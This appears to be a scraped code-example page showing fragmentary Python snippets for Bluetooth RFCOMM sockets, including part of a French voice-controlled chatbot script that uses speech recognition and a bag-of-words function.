sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM) #OSError: A

port = 0x1001

print(f'trying to connect to {addr} on PSM 0x{port}')

sock.connect((addr,port))

print(f'connected')





Exemplo n.º 29
0
    s_words = nltk.word_tokenize(s)
    s_words = [stemmer.stem(word.lower()) for word in s_words]

    for se in s_words:
        for i, w in enumerate(words):
            if w == se:
                bag[i] = 1

    return numpy.array(bag)

# --------------------------------------------- fin de la configuration de l'IA

# Connection au bluetooth

try:
   s = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
   s.connect((serverMACAddress, port))
except Exception as e:
   print("Exception : " + str(e))
   sys.exit()


# Fonction qui permet transforme la voix en texte (api de Google)
def get_audio():
    r = sr.Recognizer()
    print('En écoute !')
    mic = sr.Microphone()
    with mic as source:
        r.adjust_for_ambient_noise(source,duration=1)
        audioSon = r.listen(source)
        # player = os.system("mpg123 "+'sounds/pop.mp3')
Exemplo n.º 30
0
def BluetoothSocketCreate(socketId : int) -> None:
    sockets[socketId] = bluetooth.BluetoothSocket(bluetooth.RFCOMM)